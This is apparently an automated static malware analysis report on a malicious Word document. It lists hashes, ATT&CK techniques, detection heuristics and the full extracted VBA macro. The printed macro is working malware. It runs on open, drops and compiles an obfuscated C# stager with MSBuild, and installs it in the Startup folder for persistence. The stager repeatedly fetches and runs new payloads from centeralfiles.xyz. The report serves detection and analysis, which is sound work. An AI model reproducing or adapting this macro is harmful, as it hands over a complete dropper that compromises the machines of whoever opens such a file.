Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e499da5e403091e4…

MALICIOUS

Office (OOXML)

622.8 KB First seen: 2020-07-24
MD5: 93f913f3b9e0ef3f5cedd196eae3f2ae SHA-1: d9be25695349f0aec29761a306c10b7e88e3a804 SHA-256: e499da5e403091e455e39176c98ca64174f7f284268a0e7e65f6923af568329f
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a VBA macro that is automatically executed upon opening (AutoOpen). This macro utilizes WScript.Shell and CreateObject to construct and write a C# file to disk, which then attempts to download and execute a payload from the URL 'https://centeralfiles.xyz/'. The macro also attempts to establish persistence by placing a file in the Startup directory.

Heuristics 9

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: word/vbaProject.xml)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Dim wsh As Object
        Set wsh = VBA.CreateObject("WScript.Shell")
        Dim waitOnReturn As Boolean: waitOnReturn = True
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
        Dim wsh As Object
        Set wsh = VBA.CreateObject("WScript.Shell")
        Dim waitOnReturn As Boolean: waitOnReturn = True
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim fso As Object
        Set fso = CreateObject("Scripting.FileSystemObject")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
    Sub AutoOpen()
        Dim iShp As InlineShape
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        username = Environ("Username")
        UserDir = "C:\Users\" & username
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://centeralfiles.xyz/ Referenced by macro
    • http://192.168.56.1:4000Referenced by macro
    • http://schemas.openxmlformats.org/package/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocumentReferenced by macro
    • http://schemas.microsoft.com/developer/msbuild/2003Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 9517 bytes
SHA-256: c1fbc89f363127f3b0cb02f82cd44afb00081c976317222b13f163b00eea3819
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Dim iShp As InlineShape
    
    ActiveDocument.StoryRanges(wdMainTextStory).Font.Hidden = False
    
    For Each iShp In ActiveDocument.InlineShapes
        With iShp
            iShp.Select
            Selection.Font.Hidden = True
        End With
        Exit For
    Next iShp
    
    Dim username As String
    Dim StartupDir As String
    Dim WorkingDir As String
    Dim UserDir As String
    
    username = Environ("Username")
    UserDir = "C:\Users\" & username
    StartupDir = UserDir & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
    WorkingDir = UserDir & "\WindowsUpdaterV1001"
    
    Dim fso As Object
    Set fso = CreateObject("Scripting.FileSystemObject")
    
    If fso.FileExists(StartupDir & "\WindowsUpdaterV1001.exe") Then
        Exit Sub
    End If
    
    If Dir(WorkingDir, vbDirectory) = "" Then
        MkDir WorkingDir
    Else
        fso.DeleteFolder WorkingDir
        MkDir WorkingDir
    End If
    
    Dim oFile As Object
    
    Set oFile = fso.CreateTextFile(WorkingDir & "\WindowsUpdaterV1001.cs")

oFile.Write " namespace Stager{using System;using System.Net;using System.Text;using System.IO;using System.Linq;using System.Diagnostics;using System.Threading;class _piOlIKe707{static string _zPMXIfg1305=""https://centeralfiles.xyz/"";static string _OCRJeZa4=""Win"
oFile.Write "dowsUpdaterV10"";static string _G8=Environment.GetEnvironmentVariable(""USERPROFILE"");static string _T7091=_G8+""\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"";static string _dS4985(){var _txOgNmN="""";if(File.Exists(""C:\\Windows\\"
oFile.Write "Microsoft.NET\\Framework\\v3.5\\MsBuild.exe"")){_txOgNmN=""C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\MsBuild.exe"";}else if(File.Exists(""C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MsBuild.exe"")){_txOgNmN=""C:\\Windows\\Microsoft.NET\\Framework"
oFile.Write "\\v4.0.30319\\MsBuild.exe"";}return _txOgNmN;}static void _EgFeNu0(string _VmDSoCf6,string _YUS){using(Process _QlsDz484=new Process()){_QlsDz484.StartInfo.FileName=_VmDSoCf6;_QlsDz484.StartInfo.Arguments=_YUS;_QlsDz484.StartInfo.WindowStyle=ProcessWi"
oFile.Write "ndowStyle.Hidden;_QlsDz484.Start();_QlsDz484.WaitForExit();}}static void _RR407(string _uSqn422,string _P7722,int _aTO){var _Yt451=_T7091+""\\"" + _OCRJeZa4 + _aTO + "".exe""; File.Copy(_uSqn422, _Yt451, true);  Process.Start(_Yt451);  }   static bool _G"
oFile.Write "9361(int _XVkFnL, bool _zW)  { var _l242 = _OCRJeZa4 + _XVkFnL; Process[] _V14 = Process.GetProcessesByName(_l242); if (_V14.Length == 0) { return false;  }  else { if (_zW) { foreach (var p in _V14) { p.Kill();  }  return false;  }  return true;  } "
oFile.Write " }   static int _QW()  { var _D = -1;            var _mRp335 = new DirectoryInfo(_T7091); string[] _uUIL5 = _mRp335.GetFiles(_OCRJeZa4 + ""*.exe"").Select(_tQk4 => _tQk4.Name).OrderByDescending(_YKfDc57 => _YKfDc57).ToArray();  if (_uUIL5.Length > 0) {"
oFile.Write " var _VTHbgbB147 = _uUIL5.Last(); var _tetNSX87 = _OCRJeZa4.Length; var _jLDk = _VTHbgbB147.LastIndexOf("".exe"");  int.TryParse(_VTHbgbB147.Substring(_tetNSX87, _jLDk - _tetNSX87), out _D);  }  return _D;  }   static int _SUXUaG()  { var _CGqVXC4245 ="
oFile.Write " _zPMXIfg1305 + ""files/app-provider/getLatestVersion""; var _LK865 = new WebClient(); _LK865.Headers.Add(""content-type"", ""application/json"");  var _q = _LK865._KBs0710<_wofL1>(_CGqVXC4245); return _q.version;  }   static void _cxnbDB()  { var _Q = _dS"
oFile.Write "4985(); if (string.IsNullOrEmpty(_Q)) return;             var _mgLKWx916 = _G8 + ""\\""+_OCRJeZa4+""01"";if(Directory.Exists(_mgLKWx916)){Directory.Delete(_mgLKWx916,true);}var _yUzRE1337=_zPMXIfg1305+""files/app-provider/getApp"";var _Rr=new WebClient();_"
oFile.Write "Rr.Headers.Add(""content-type"",""application/json"");var _AfARv=_Rr._KBs0710<_wofL1>(_yUzRE1337);Directory.CreateDirectory(_mgLKWx916);try{File.WriteAllText(_mgLKWx916+""\\w.csproj"",_AfARv.csproj,Encoding.UTF8);File.WriteAllText(_mgLKWx916+""\\w.cs"",_AfAR"
oFile.Write "v.cs,Encoding.UTF8);_EgFeNu0(_Q,_mgLKWx916+""\\w.csproj"");_RR407(_mgLKWx916+""\\out\\w.exe"",_G8,_AfARv.version);}catch{}if(Directory.Exists(_mgLKWx916)){Directory.Delete(_mgLKWx916,true);}}static void Main(string[]_cSXbdR54){while(true){try{var _nKvNBy"
oFile.Write "02=_QW();var _fbhK=true;if(_nKvNBy02>0){var _LROz0=_SUXUaG();if(_LROz0>_nKvNBy02){_G9361(_nKvNBy02,true);}else{var _ougQ9=_G9361(_nKvNBy02,false);if(!_ougQ9){var _RjZVHP486=_T7091+""\\"" + _OCRJeZa4 + _nKvNBy02 + "".exe""; Process.Start(_RjZVHP486);  }  "
oFile.Write " _fbhK = false;  }  }   if (_fbhK) { Console.WriteLine(""getting"");  _cxnbDB();  }  } catch { }   Console.WriteLine(""Sleeping"");  Thread.Sleep(5000);  }  }  } }  namespace Stager {using System; using System.Net; using System.Text;  public static class"
oFile.Write " _ZQOpiz4756 { public static TModel _KBs0710<TModel>(this WebClient _xHXLpwv9, string _ZGqAOy134) where TModel: class  { TModel _PcI8 = null; try { var _BrU110 = Encoding.UTF8.GetString(_xHXLpwv9.DownloadData(_ZGqAOy134)); _PcI8 = _Shzo9<TModel>._YCE"
oFile.Write "068(_BrU110);  }  catch (Exception e) { Console.WriteLine(e);  }  return _PcI8;  }  } }  namespace Stager { public class _wofL1 { public int version { get; set; }  public string csproj { get; set; }  public string cs { get; set; }  }   public class _"
oFile.Write "bC1395 { public int version { get; set; }  } }  namespace Stager {using System.IO; using System.Runtime.Serialization.Json; using System.Text;  public static class _Shzo9<TType> where TType : class  {  public static string Serialize(TType _yRkWc)  { "
oFile.Write "var _PiVu = new DataContractJsonSerializer(typeof(TType)); using (var _NW8 = new MemoryStream()) { _PiVu.WriteObject(_NW8, _yRkWc);  return Encoding.UTF8.GetString(_NW8.ToArray());  }  }    public static TType _YCE068(string _OS)  { using (var _AdwsU"
oFile.Write "Oe8 = new MemoryStream(Encoding.UTF8.GetBytes(_OS))) { var _OocIes6 = new DataContractJsonSerializer(typeof(TType)); return _OocIes6.ReadObject(_AdwsUOe8) as TType;  }  }  } }                                                                           "

    oFile.Close
    
    Dim o2File As Object
    Set o2File = fso.CreateTextFile(WorkingDir & "\WindowsUpdaterV1001.csproj")
    
    o2File.WriteLine "<?xml version=""1.0"" encoding=""utf-8""?>"
    o2File.WriteLine "<Project ToolsVersion=""3.5"" DefaultTargets=""Build"" xmlns=""http://schemas.microsoft.com/developer/msbuild/2003"">"
    o2File.WriteLine "  <Import Project=""$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props"" Condition=""Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')"" />"
    o2File.WriteLine "  <PropertyGroup>"
    o2File.WriteLine "    <Configuration Condition =""'$(Configuration)' == ''"">Release</Configuration>"
    o2File.WriteLine "    <Platform Condition =""'$(Platform)' == ''"">AnyCPU</Platform>"
    o2File.WriteLine "    <ProjectGuid>{D1BCD0DC-0AFF-4108-ADC1-2A73322C49CF}</ProjectGuid>"
    o2File.WriteLine "    <IntermediateOutputPath>out\</IntermediateOutputPath>"
    o2File.WriteLine "    <OutputPath>out\</OutputPath>"
    o2File.WriteLine "    <OutputType>WinExe</OutputType>"
    o2File.WriteLine "  </PropertyGroup>"
    o2File.WriteLine "  <ItemGroup>"
    o2File.WriteLine "    <Reference Include=""System"" />"
    o2File.WriteLine "    <Reference Include=""System.Core"" />"
    o2File.WriteLine "    <Reference Include=""System.Runtime.Serialization"" />"
    o2File.WriteLine "    <Reference Include=""System.ServiceModel.Web"" />"
    o2File.WriteLine "    <Reference Include=""System.Xml"" />"
    o2File.WriteLine "    <Reference Include=""System.Xml.Linq"" />"
    o2File.WriteLine "  </ItemGroup>"
    o2File.WriteLine "  <ItemGroup>"
    o2File.WriteLine "    <Compile Include=""WindowsUpdaterV1001.cs"" />"
    o2File.WriteLine "  </ItemGroup>"
    o2File.WriteLine "  <Import Project=""$(MSBuildToolsPath)\Microsoft.CSharp.targets"" />"
    o2File.WriteLine "</Project>"
    
    o2File.Close
    
    CompilerDir = "C:\Windows\Microsoft.NET\Framework\"
    
    If fso.FileExists(CompilerDir & "v3.5\MSBu" & "ild.exe") Then
        CompilerDir = CompilerDir & "v3.5\MSBu" & "ild.exe"
    ElseIf fso.FileExists(CompilerDir & "v4.0.3" & "0319\MSBu" & "ild.exe") Then
        CompilerDir = CompilerDir & "v4.0.3" & "0319\MSBu" & "ild.exe"
    Else
        Exit Sub
    End If
    
    Dim wsh As Object
    Set wsh = VBA.CreateObject("WScript.Shell")
    Dim waitOnReturn As Boolean: waitOnReturn = True
    Dim windowStyle As Integer: windowStyle = 0
    wsh.Run CompilerDir & " " & WorkingDir & "\WindowsUpdaterV1001.csproj", windowStyle, waitOnReturn

    FileCopy WorkingDir & "\out\WindowsUpdaterV1001.exe", StartupDir & "\WindowsUpdaterV1001.exe"
    
    fso.DeleteFolder WorkingDir
    
    Dim dontWaitOnReturn As Boolean: dontWaitOnReturn = False
    wsh.Run (Chr(34) & StartupDir & "\WindowsUpdaterV1001.exe" & Chr(34)), windowStyle, dontWaitOnReturn
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.xml 169984 bytes
SHA-256: f19ed94a46755870d9a5726404aa65d60b1bf3d3b2c66fec28945f4ec96efb77